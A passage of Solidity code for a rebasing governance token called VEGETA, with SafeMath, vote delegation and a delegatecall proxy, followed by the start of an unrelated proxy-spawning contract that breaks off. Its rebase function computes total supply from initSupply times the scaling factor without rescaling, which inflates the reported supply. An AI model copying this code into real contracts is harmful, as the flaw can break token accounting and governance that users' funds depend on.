* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// Storage for a VEGETA token
contract VEGETATokenStorage {
using SafeMath for uint256;
/**
* @dev Guard variable for re-entrancy checks. Not currently used
*/
bool internal _notEntered;
/**
* @notice EIP-20 token name for this token
*/
string public name;
/**
* @notice EIP-20 token symbol for this token
*/
string public symbol;
/**
* @notice EIP-20 token decimals for this token
*/
uint8 public decimals;
/**
* @notice Governor for this contract
*/
address public gov;
/**
* @notice Pending governance for this contract
*/
address public pendingGov;
/**
* @notice Approved rebaser for this contract
*/
address public rebaser;
/**
* @notice Reserve address of VEGETA protocol
*/
address public incentivizer;
/**
* @notice Airdrop address of VEGETA protocol
*/
address public airdrop;
/**
* @notice Total supply of VEGETAs
*/
uint256 public totalSupply;
/**
* @notice Internal decimals used to handle scaling factor
*/
uint256 public constant internalDecimals = 10**24;
/**
* @notice Used for percentage maths
*/
uint256 public constant BASE = 10**18;
/**
* @notice Scaling factor that adjusts everyone's balances
*/
uint256 public vegetasScalingFactor;
mapping (address => uint256) internal _vegetaBalances;
mapping (address => mapping (address => uint256)) internal _allowedFragments;
uint256 public initSupply;
}
contract VEGETAGovernanceStorage {
/// @notice A record of each accounts delegate
mapping (address => address) internal _delegates;
/// @notice A checkpoint for marking number of votes from a given block
struct Checkpoint {
uint32 fromBlock;
uint256 votes;
}
/// @notice A record of votes checkpoints for each account, by index
mapping (address => mapping (uint32 => Checkpoint)) public checkpoints;
/// @notice The number of checkpoints for each account
mapping (address => uint32) public numCheckpoints;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// @notice The EIP-712 typehash for the delegation struct used by the contract
bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");
/// @notice A record of states for signing / validating signatures
mapping (address => uint) public nonces;
}
contract VEGETATokenInterface is VEGETATokenStorage, VEGETAGovernanceStorage {
/// @notice An event thats emitted when an account changes its delegate
event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
/// @notice An event thats emitted when a delegate account's vote balance changes
event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance);
/**
* @notice Event emitted when tokens are rebased
*/
event Rebase(uint256 epoch, uint256 prevVegetasScalingFactor, uint256 newVegetasScalingFactor);
/*** Gov Events ***/
/**
* @notice Event emitted when pendingGov is changed
*/
event NewPendingGov(address oldPendingGov, address newPendingGov);
/**
* @notice Event emitted when gov is changed
*/
event NewGov(address oldGov, address newGov);
/**
* @notice Sets the rebaser contract
*/
event NewRebaser(address oldRebaser, address newRebaser);
/**
* @notice Sets the incentivizer contract
*/
event NewIncentivizer(address oldIncentivizer, address newIncentivizer);
/**
* @notice Sets the airdrop contract
*/
event NewAirdrop(address oldAirdrop, address newAirdrop);
/* - ERC20 Events - */
/**
* @notice EIP20 Transfer event
*/
event Transfer(address indexed from, address indexed to, uint amount);
/**
* @notice EIP20 Approval event
*/
event Approval(address indexed owner, address indexed spender, uint amount);
/* - Extra Events - */
/**
* @notice Tokens minted event
*/
event Mint(address to, uint256 amount);
// Public functions
function transfer(address to, uint256 value) external returns(bool);
function transferFrom(address from, address to, uint256 value) external returns(bool);
function balanceOf(address who) external view returns(uint256);
function balanceOfUnderlying(address who) external view returns(uint256);
function allowance(address owner_, address spender) external view returns(uint256);
function approve(address spender, uint256 value) external returns (bool);
function increaseAllowance(address spender, uint256 addedValue) external returns (bool);
function decreaseAllowance(address spender, uint256 subtractedValue) external returns (bool);
function maxScalingFactor() external view returns (uint256);
/* - Governance Functions - */
function getPriorVotes(address account, uint blockNumber) external view returns (uint256);
function delegateBySig(address delegatee, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s) external;
function delegate(address delegatee) external;
function delegates(address delegator) external view returns (address);
function getCurrentVotes(address account) external view returns (uint256);
/* - Permissioned/Governance functions - */
function mint(address to, uint256 amount) external returns (bool);
function rebase(uint256 epoch, uint256 indexDelta, bool positive) external returns (uint256);
function _setRebaser(address rebaser_) external;
function _setIncentivizer(address incentivizer_) external;
function _setAirdrop(address airdrop_) external;
function _setPendingGov(address pendingGov_) external;
function _acceptGov() external;
}
contract VEGETAGovernanceToken is VEGETATokenInterface {
/// @notice An event thats emitted when an account changes its delegate
event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
/// @notice An event thats emitted when a delegate account's vote balance changes
event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance);
/**
* @notice Delegate votes from `msg.sender` to `delegatee`
* @param delegator The address to get delegatee for
*/
function delegates(address delegator)
external
view
returns (address)
{
return _delegates[delegator];
}
/**
* @notice Delegate votes from `msg.sender` to `delegatee`
* @param delegatee The address to delegate votes to
*/
function delegate(address delegatee) external {
return _delegate(msg.sender, delegatee);
}
/**
* @notice Delegates votes from signatory to `delegatee`
* @param delegatee The address to delegate votes to
* @param nonce The contract state required to match the signature
* @param expiry The time at which to expire the signature
* @param v The recovery byte of the signature
* @param r Half of the ECDSA signature pair
* @param s Half of the ECDSA signature pair
*/
function delegateBySig(
address delegatee,
uint nonce,
uint expiry,
uint8 v,
bytes32 r,
bytes32 s
)
external
{
bytes32 domainSeparator = keccak256(
abi.encode(
DOMAIN_TYPEHASH,
keccak256(bytes(name)),
getChainId(),
address(this)
)
);
bytes32 structHash = keccak256(
abi.encode(
DELEGATION_TYPEHASH,
delegatee,
nonce,
expiry
)
);
bytes32 digest = keccak256(
abi.encodePacked(
"\x19\x01",
domainSeparator,
structHash
)
);
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "VEGETA::delegateBySig: invalid signature");
require(nonce == nonces[signatory]++, "VEGETA::delegateBySig: invalid nonce");
require(now <= expiry, "VEGETA::delegateBySig: signature expired");
return _delegate(signatory, delegatee);
}
/**
* @notice Gets the current votes balance for `account`
* @param account The address to get votes balance
* @return The number of current votes for `account`
*/
function getCurrentVotes(address account)
external
view
returns (uint256)
{
uint32 nCheckpoints = numCheckpoints[account];
return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;
}
/**
* @notice Determine the prior number of votes for an account as of a block number
* @dev Block number must be a finalized block or else this function will revert to prevent misinformation.
* @param account The address of the account to check
* @param blockNumber The block number to get the vote balance at
* @return The number of votes the account had as of the given block
*/
function getPriorVotes(address account, uint blockNumber)
external
view
returns (uint256)
{
require(blockNumber < block.number, "VEGETA::getPriorVotes: not yet determined");
uint32 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {
return 0;
}
// First check most recent balance
if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
return checkpoints[account][nCheckpoints - 1].votes;
}
// Next check implicit zero balance
if (checkpoints[account][0].fromBlock > blockNumber) {
return 0;
}
uint32 lower = 0;
uint32 upper = nCheckpoints - 1;
while (upper > lower) {
uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow
Checkpoint memory cp = checkpoints[account][center];
if (cp.fromBlock == blockNumber) {
return cp.votes;
} else if (cp.fromBlock < blockNumber) {
lower = center;
} else {
upper = center - 1;
}
}
return checkpoints[account][lower].votes;
}
function _delegate(address delegator, address delegatee)
internal
{
address currentDelegate = _delegates[delegator];
uint256 delegatorBalance = _vegetaBalances[delegator]; // balance of underlying VEGETAs (not scaled);
_delegates[delegator] = delegatee;
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveDelegates(currentDelegate, delegatee, delegatorBalance);
}
function _moveDelegates(address srcRep, address dstRep, uint256 amount) internal {
if (srcRep != dstRep && amount > 0) {
if (srcRep != address(0)) {
// decrease old representative
uint32 srcRepNum = numCheckpoints[srcRep];
uint256 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
uint256 srcRepNew = srcRepOld.sub(amount);
_writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
}
if (dstRep != address(0)) {
// increase new representative
uint32 dstRepNum = numCheckpoints[dstRep];
uint256 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;
uint256 dstRepNew = dstRepOld.add(amount);
_writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
}
}
}
function _writeCheckpoint(
address delegatee,
uint32 nCheckpoints,
uint256 oldVotes,
uint256 newVotes
)
internal
{
uint32 blockNumber = safe32(block.number, "VEGETA::_writeCheckpoint: block number exceeds 32 bits");
if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) {
checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
} else {
checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes);
numCheckpoints[delegatee] = nCheckpoints + 1;
}
emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
}
function safe32(uint n, string memory errorMessage) internal pure returns (uint32) {
require(n < 2**32, errorMessage);
return uint32(n);
}
function getChainId() internal pure returns (uint) {
uint256 chainId;
assembly { chainId := chainid() }
return chainId;
}
}
contract VEGETAToken is VEGETAGovernanceToken {
// Modifiers
modifier onlyGov() {
require(msg.sender == gov);
_;
}
modifier onlyRebaser() {
require(msg.sender == rebaser);
_;
}
modifier onlyMinter() {
require(msg.sender == rebaser || msg.sender == incentivizer || msg.sender == gov || msg.sender == airdrop, "not minter");
_;
}
modifier validRecipient(address to) {
require(to != address(0x0));
require(to != address(this));
_;
}
function initialize(
string memory name_,
string memory symbol_,
uint8 decimals_
)
public
{
require(vegetasScalingFactor == 0, "already initialized");
name = name_;
symbol = symbol_;
decimals = decimals_;
}
/**
* @notice Computes the current max scaling factor
*/
function maxScalingFactor()
external
view
returns (uint256)
{
return _maxScalingFactor();
}
function _maxScalingFactor()
internal
view
returns (uint256)
{
// scaling factor can only go up to 2**256-1 = initSupply * vegetasScalingFactor
// this is used to check if vegetasScalingFactor will be too high to compute balances when rebasing.
return uint256(-1) / initSupply;
}
/**
* @notice Mints new tokens, increasing totalSupply, initSupply, and a users balance.
* @dev Limited to onlyMinter modifier
*/
function mint(address to, uint256 amount)
external
onlyMinter
returns (bool)
{
_mint(to, amount);
return true;
}
function _mint(address to, uint256 amount)
internal
{
// increase totalSupply
totalSupply = totalSupply.add(amount);
// get underlying value
uint256 vegetaValue = amount.mul(internalDecimals).div(vegetasScalingFactor);
// increase initSupply
initSupply = initSupply.add(vegetaValue);
// make sure the mint didnt push maxScalingFactor too low
require(vegetasScalingFactor <= _maxScalingFactor(), "max scaling factor too low");
// add balance
_vegetaBalances[to] = _vegetaBalances[to].add(vegetaValue);
// add delegates to the minter
_moveDelegates(address(0), _delegates[to], vegetaValue);
emit Mint(to, amount);
}
/* - ERC20 functionality - */
/**
* @dev Transfer tokens to a specified address.
* @param to The address to transfer to.
* @param value The amount to be transferred.
* @return True on success, false otherwise.
*/
function transfer(address to, uint256 value)
external
validRecipient(to)
returns (bool)
{
// underlying balance is stored in vegetas, so divide by current scaling factor
// note, this means as scaling factor grows, dust will be untransferrable.
// minimum transfer value == vegetasScalingFactor / 1e24;
// get amount in underlying
uint256 vegetaValue = value.mul(internalDecimals).div(vegetasScalingFactor);
// sub from balance of sender
_vegetaBalances[msg.sender] = _vegetaBalances[msg.sender].sub(vegetaValue);
// add to balance of receiver
_vegetaBalances[to] = _vegetaBalances[to].add(vegetaValue);
emit Transfer(msg.sender, to, value);
_moveDelegates(_delegates[msg.sender], _delegates[to], vegetaValue);
return true;
}
/**
* @dev Transfer tokens from one address to another.
* @param from The address you want to send tokens from.
* @param to The address you want to transfer to.
* @param value The amount of tokens to be transferred.
*/
function transferFrom(address from, address to, uint256 value)
external
validRecipient(to)
returns (bool)
{
// decrease allowance
_allowedFragments[from][msg.sender] = _allowedFragments[from][msg.sender].sub(value);
// get value in vegetas
uint256 vegetaValue = value.mul(internalDecimals).div(vegetasScalingFactor);
// sub from from
_vegetaBalances[from] = _vegetaBalances[from].sub(vegetaValue);
_vegetaBalances[to] = _vegetaBalances[to].add(vegetaValue);
emit Transfer(from, to, value);
_moveDelegates(_delegates[from], _delegates[to], vegetaValue);
return true;
}
/**
* @param who The address to query.
* @return The balance of the specified address.
*/
function balanceOf(address who)
external
view
returns (uint256)
{
return _vegetaBalances[who].mul(vegetasScalingFactor).div(internalDecimals);
}
/** @notice Currently returns the internal storage amount
* @param who The address to query.
* @return The underlying balance of the specified address.
*/
function balanceOfUnderlying(address who)
external
view
returns (uint256)
{
return _vegetaBalances[who];
}
/**
* @dev Function to check the amount of tokens that an owner has allowed to a spender.
* @param owner_ The address which owns the funds.
* @param spender The address which will spend the funds.
* @return The number of tokens still available for the spender.
*/
function allowance(address owner_, address spender)
external
view
returns (uint256)
{
return _allowedFragments[owner_][spender];
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of
* msg.sender. This method is included for ERC20 compatibility.
* increaseAllowance and decreaseAllowance should be used instead.
* Changing an allowance with this method brings the risk that someone may transfer both
* the old and the new allowance - if they are both greater than zero - if a transfer
* transaction is mined before the later approve() call is mined.
*
* @param spender The address which will spend the funds.
* @param value The amount of tokens to be spent.
*/
function approve(address spender, uint256 value)
external
returns (bool)
{
_allowedFragments[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
/**
* @dev Increase the amount of tokens that an owner has allowed to a spender.
* This method should be used instead of approve() to avoid the double approval vulnerability
* described above.
* @param spender The address which will spend the funds.
* @param addedValue The amount of tokens to increase the allowance by.
*/
function increaseAllowance(address spender, uint256 addedValue)
external
returns (bool)
{
_allowedFragments[msg.sender][spender] =
_allowedFragments[msg.sender][spender].add(addedValue);
emit Approval(msg.sender, spender, _allowedFragments[msg.sender][spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner has allowed to a spender.
*
* @param spender The address which will spend the funds.
* @param subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseAllowance(address spender, uint256 subtractedValue)
external
returns (bool)
{
uint256 oldValue = _allowedFragments[msg.sender][spender];
if (subtractedValue >= oldValue) {
_allowedFragments[msg.sender][spender] = 0;
} else {
_allowedFragments[msg.sender][spender] = oldValue.sub(subtractedValue);
}
emit Approval(msg.sender, spender, _allowedFragments[msg.sender][spender]);
return true;
}
/* - Governance Functions - */
/** @notice sets the rebaser
* @param rebaser_ The address of the rebaser contract to use for authentication.
*/
function _setRebaser(address rebaser_)
external
onlyGov
{
address oldRebaser = rebaser;
rebaser = rebaser_;
emit NewRebaser(oldRebaser, rebaser_);
}
/** @notice sets the incentivizer
* @param incentivizer_ The address of the rebaser contract to use for authentication.
*/
function _setIncentivizer(address incentivizer_)
external
onlyGov
{
address oldIncentivizer = incentivizer;
incentivizer = incentivizer_;
emit NewIncentivizer(oldIncentivizer, incentivizer_);
}
/** @notice sets the airdrop
* @param airdrop_ The address of the airdrop contract to use for authentication.
*/
function _setAirdrop(address airdrop_)
external
onlyGov
{
address oldAirdrop = airdrop;
airdrop = airdrop_;
emit NewAirdrop(oldAirdrop, airdrop_);
}
/** @notice sets the pendingGov
* @param pendingGov_ The address of the rebaser contract to use for authentication.
*/
function _setPendingGov(address pendingGov_)
external
onlyGov
{
address oldPendingGov = pendingGov;
pendingGov = pendingGov_;
emit NewPendingGov(oldPendingGov, pendingGov_);
}
/** @notice lets msg.sender accept governance
*
*/
function _acceptGov()
external
{
require(msg.sender == pendingGov, "!pending");
address oldGov = gov;
gov = pendingGov;
pendingGov = address(0);
emit NewGov(oldGov, gov);
}
/* - Extras - */
/**
* @notice Initiates a new rebase operation, provided the minimum time period has elapsed.
*
* @dev The supply adjustment equals (totalSupply * DeviationFromTargetRate) / rebaseLag
* Where DeviationFromTargetRate is (MarketOracleRate - targetRate) / targetRate
* and targetRate is CpiOracleRate / baseCpi
*/
function rebase(
uint256 epoch,
uint256 indexDelta,
bool positive
)
external
onlyRebaser
returns (uint256)
{
if (indexDelta == 0) {
emit Rebase(epoch, vegetasScalingFactor, vegetasScalingFactor);
return totalSupply;
}
uint256 prevVegetasScalingFactor = vegetasScalingFactor;
if (!positive) {
vegetasScalingFactor = vegetasScalingFactor.mul(BASE.sub(indexDelta)).div(BASE);
} else {
uint256 newScalingFactor = vegetasScalingFactor.mul(BASE.add(indexDelta)).div(BASE);
if (newScalingFactor < _maxScalingFactor()) {
vegetasScalingFactor = newScalingFactor;
} else {
vegetasScalingFactor = _maxScalingFactor();
}
}
totalSupply = initSupply.mul(vegetasScalingFactor);
emit Rebase(epoch, prevVegetasScalingFactor, vegetasScalingFactor);
return totalSupply;
}
}
contract VEGETA is VEGETAToken {
/**
* @notice Initialize the new money market
* @param name_ ERC-20 name of this token
* @param symbol_ ERC-20 symbol of this token
* @param decimals_ ERC-20 decimal precision of this token
*/
function initialize(
string memory name_,
string memory symbol_,
uint8 decimals_,
address initial_owner,
uint256 initSupply_
)
public
{
require(initSupply_ > 0, "0 init supply");
super.initialize(name_, symbol_, decimals_);
initSupply = initSupply_.mul(10**24/ (BASE));
totalSupply = initSupply_;
vegetasScalingFactor = BASE;
_vegetaBalances[initial_owner] = initSupply_.mul(10**24 / (BASE));
// owner renounces ownership after deployment as they need to set
// rebaser and incentivizer, airdrop
// gov = gov_;
}
}
contract VEGETADelegationStorage {
/**
* @notice Implementation address for this contract
*/
address public implementation;
}
contract VEGETADelegatorInterface is VEGETADelegationStorage {
/**
* @notice Emitted when implementation is changed
*/
event NewImplementation(address oldImplementation, address newImplementation);
/**
* @notice Called by the gov to update the implementation of the delegator
* @param implementation_ The address of the new implementation for delegation
* @param allowResign Flag to indicate whether to call _resignImplementation on the old implementation
* @param becomeImplementationData The encoded bytes data to be passed to _becomeImplementation
*/
function _setImplementation(address implementation_, bool allowResign, bytes memory becomeImplementationData) public;
}
contract VEGETADelegateInterface is VEGETADelegationStorage {
/**
* @notice Called by the delegator on a delegate to initialize it for duty
* @dev Should revert if any issues arise which make it unfit for delegation
* @param data The encoded bytes data for any initialization
*/
function _becomeImplementation(bytes memory data) public;
/**
* @notice Called by the delegator on a delegate to forfeit its responsibility
*/
function _resignImplementation() public;
}
contract VEGETADelegate is VEGETA, VEGETADelegateInterface {
/**
* @notice Construct an empty delegate
*/
constructor() public {}
/**
* @notice Called by the delegator on a delegate to initialize it for duty
* @param data The encoded bytes data for any initialization
*/
function _becomeImplementation(bytes memory data) public {
// Shh -- currently unused
data;
// Shh -- we don't ever want this hook to be marked pure
if (false) {
implementation = address(0);
}
require(msg.sender == gov, "only the gov may call _becomeImplementation");
}
/**
* @notice Called by the delegator on a delegate to forfeit its responsibility
*/
function _resignImplementation() public {
// Shh -- we don't ever want this hook to be marked pure
if (false) {
implementation = address(0);
}
require(msg.sender == gov, "only the gov may call _resignImplementation");
}
}
contract VEGETADelegator is VEGETATokenInterface, VEGETADelegatorInterface {
/**
* @notice Construct a new VEGETA
* @param name_ ERC-20 name of this token
* @param symbol_ ERC-20 symbol of this token
* @param decimals_ ERC-20 decimal precision of this token
* @param initSupply_ Initial token amount
* @param implementation_ The address of the implementation the contract delegates to
* @param becomeImplementationData The encoded args for becomeImplementation
*/
constructor(
string memory name_,
string memory symbol_,
uint8 decimals_,
uint256 initSupply_,
address implementation_,
bytes memory becomeImplementationData
)
public
{
// Creator of the contract is gov during initialization
gov = msg.sender;
// First delegate gets to initialize the delegator (i.e. storage contract)
delegateTo(
implementation_,
abi.encodeWithSignature(
"initialize(string,string,uint8,address,uint256)",
name_,
symbol_,
decimals_,
msg.sender,
initSupply_
)
);
// New implementations always get set via the settor (post-initialize)
_setImplementation(implementation_, false, becomeImplementationData);
}
/**
* @notice Called by the gov to update the implementation of the delegator
* @param implementation_ The address of the new implementation for delegation
* @param allowResign Flag to indicate whether to call _resignImplementation on the old implementation
* @param becomeImplementationData The encoded bytes data to be passed to _becomeImplementation
*/
function _setImplementation(address implementation_, bool allowResign, bytes memory becomeImplementationData) public {
require(msg.sender == gov, "VEGETADelegator::_setImplementation: Caller must be gov");
if (allowResign) {
delegateToImplementation(abi.encodeWithSignature("_resignImplementation()"));
}
address oldImplementation = implementation;
implementation = implementation_;
delegateToImplementation(abi.encodeWithSignature("_becomeImplementation(bytes)", becomeImplementationData));
emit NewImplementation(oldImplementation, implementation);
}
/**
* @notice Sender supplies assets into the market and receives cTokens in exchange
* @dev Accrues interest whether or not the operation succeeds, unless reverted
* @param mintAmount The amount of the underlying asset to supply
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function mint(address to, uint256 mintAmount)
external
returns (bool)
{
to; mintAmount; // Shh
delegateAndReturn();
}
/**
* @notice Transfer `amount` tokens from `msg.sender` to `dst`
* @param dst The address of the destination account
* @param amount The number of tokens to transfer
* @return Whether or not the transfer succeeded
*/
function transfer(address dst, uint256 amount)
external
returns (bool)
{
dst; amount; // Shh
delegateAndReturn();
}
/**
* @notice Transfer `amount` tokens from `src` to `dst`
* @param src The address of the source account
* @param dst The address of the destination account
* @param amount The number of tokens to transfer
* @return Whether or not the transfer succeeded
*/
function transferFrom(
address src,
address dst,
uint256 amount
)
external
returns (bool)
{
src; dst; amount; // Shh
delegateAndReturn();
}
/**
* @notice Approve `spender` to transfer up to `amount` from `src`
* @dev This will overwrite the approval amount for `spender`
* and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve)
* @param spender The address of the account which may transfer tokens
* @param amount The number of tokens that are approved (-1 means infinite)
* @return Whether or not the approval succeeded
*/
function approve(
address spender,
uint256 amount
)
external
returns (bool)
{
spender; amount; // Shh
delegateAndReturn();
}
/**
* @dev Increase the amount of tokens that an owner has allowed to a spender.
* This method should be used instead of approve() to avoid the double approval vulnerability
* described above.
* @param spender The address which will spend the funds.
* @param addedValue The amount of tokens to increase the allowance by.
*/
function increaseAllowance(
address spender,
uint256 addedValue
)
external
returns (bool)
{
spender; addedValue; // Shh
delegateAndReturn();
}
function maxScalingFactor()
external
view
returns (uint256)
{
delegateToViewAndReturn();
}
function rebase(
uint256 epoch,
uint256 indexDelta,
bool positive
)
external
returns (uint256)
{
epoch; indexDelta; positive;
delegateAndReturn();
}
/**
* @dev Decrease the amount of tokens that an owner has allowed to a spender.
*
* @param spender The address which will spend the funds.
* @param subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseAllowance(
address spender,
uint256 subtractedValue
)
external
returns (bool)
{
spender; subtractedValue; // Shh
delegateAndReturn();
}
/**
* @notice Get the current allowance from `owner` for `spender`
* @param owner The address of the account which owns the tokens to be spent
* @param spender The address of the account which may transfer tokens
* @return The number of tokens allowed to be spent (-1 means infinite)
*/
function allowance(
address owner,
address spender
)
external
view
returns (uint256)
{
owner; spender; // Shh
delegateToViewAndReturn();
}
/**
* @notice Get the current allowance from `owner` for `spender`
* @param delegator The address of the account which has designated a delegate
* @return Address of delegatee
*/
function delegates(
address delegator
)
external
view
returns (address)
{
delegator; // Shh
delegateToViewAndReturn();
}
/**
* @notice Get the token balance of the `owner`
* @param owner The address of the account to query
* @return The number of tokens owned by `owner`
*/
function balanceOf(address owner)
external
view
returns (uint256)
{
owner; // Shh
delegateToViewAndReturn();
}
/**
* @notice Currently unused. For future compatability
* @param owner The address of the account to query
* @return The number of underlying tokens owned by `owner`
*/
function balanceOfUnderlying(address owner)
external
view
returns (uint256)
{
owner; // Shh
delegateToViewAndReturn();
}
/*** Gov Functions ***/
/**
* @notice Begins transfer of gov rights. The newPendingGov must call `_acceptGov` to finalize the transfer.
* @dev Gov function to begin change of gov. The newPendingGov must call `_acceptGov` to finalize the transfer.
* @param newPendingGov New pending gov.
*/
function _setPendingGov(address newPendingGov)
external
{
newPendingGov; // Shh
delegateAndReturn();
}
function _setRebaser(address rebaser_)
external
{
rebaser_; // Shh
delegateAndReturn();
}
function _setIncentivizer(address incentivizer_)
external
{
incentivizer_; // Shh
delegateAndReturn();
}
function _setAirdrop(address airdrop_)
external
{
airdrop_; // Shh
delegateAndReturn();
}
/**
* @notice Accepts transfer of gov rights. msg.sender must be pendingGov
* @dev Gov function for pending gov to accept role and update gov
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function _acceptGov()
external
{
delegateAndReturn();
}
function getPriorVotes(address account, uint blockNumber)
external
view
returns (uint256)
{
account; blockNumber;
delegateToViewAndReturn();
}
function delegateBySig(
address delegatee,
uint nonce,
uint expiry,
uint8 v,
bytes32 r,
bytes32 s
)
external
{
delegatee; nonce; expiry; v; r; s;
delegateAndReturn();
}
function delegate(address delegatee)
external
{
delegatee;
delegateAndReturn();
}
function getCurrentVotes(address account)
external
view
returns (uint256)
{
account;
delegateToViewAndReturn();
}
/**
* @notice Internal method to delegate execution to another contract
* @dev It returns to the external caller whatever the implementation returns or forwards reverts
* @param callee The contract to delegatecall
* @param data The raw data to delegatecall
* @return The returned bytes from the delegatecall
*/
function delegateTo(address callee, bytes memory data) internal returns (bytes memory) {
(bool success, bytes memory returnData) = callee.delegatecall(data);
assembly {
if eq(success, 0) {
revert(add(returnData, 0x20), returndatasize)
}
}
return returnData;
}
/**
* @notice Delegates execution to the implementation contract
* @dev It returns to the external caller whatever the implementation returns or forwards reverts
* @param data The raw data to delegatecall
* @return The returned bytes from the delegatecall
*/
function delegateToImplementation(bytes memory data) public returns (bytes memory) {
return delegateTo(implementation, data);
}
/**
* @notice Delegates execution to an implementation contract
* @dev It returns to the external caller whatever the implementation returns or forwards reverts
* There are an additional 2 prefix uints from the wrapper returndata, which we ignore since we make an extra hop.
* @param data The raw data to delegatecall
* @return The returned bytes from the delegatecall
*/
function delegateToViewImplementation(bytes memory data) public view returns (bytes memory) {
(bool success, bytes memory returnData) = address(this).staticcall(abi.encodeWithSignature("delegateToImplementation(bytes)", data));
assembly {
if eq(success, 0) {
revert(add(returnData, 0x20), returndatasize)
}
}
return abi.decode(returnData, (bytes));
}
function delegateToViewAndReturn() private view returns (bytes memory) {
(bool success, ) = address(this).staticcall(abi.encodeWithSignature("delegateToImplementation(bytes)", msg.data));
assembly {
let free_mem_ptr := mload(0x40)
returndatacopy(free_mem_ptr, 0, returndatasize)
switch success
case 0 { revert(free_mem_ptr, returndatasize) }
default { return(add(free_mem_ptr, 0x40), returndatasize) }
}
}
function delegateAndReturn() private returns (bytes memory) {
(bool success, ) = implementation.delegatecall(msg.data);
assembly {
let free_mem_ptr := mload(0x40)
returndatacopy(free_mem_ptr, 0, returndatasize)
switch success
case 0 { revert(free_mem_ptr, returndatasize) }
default { return(free_mem_ptr, returndatasize) }
}
}
/**
* @notice Delegates execution to an implementation contract
* @dev It returns to the external caller whatever the implementation returns or forwards reverts
*/
function () external payable {
require(msg.value == 0,"VEGETADelegator:fallback: cannot send value to fallback");
// delegate all other functions to current implementation
delegateAndReturn();
}
}
|
DC1
|
pragma solidity ^0.5.0;
/**
* @title Spawn
* @author 0age
* @notice This contract provides creation code that is used by Spawner in order
* to initialize and deploy eip-1167 minimal proxies for a given logic contract.
*/
contract Spawn {
constructor(
address logicContract,
bytes memory initializationCalldata
) public payable {
// delegatecall into the logic contract to perform initialization.
(bool ok, ) = logicContract.delegatecall(initializationCalldata);
if (!ok) {
// pass along failure message from delegatecall and revert.
assembly {
returndatacopy(0, 0, returndatasize)
revert(0, returndatasize)
}
}
// place eip-1167 runtime code in memory.
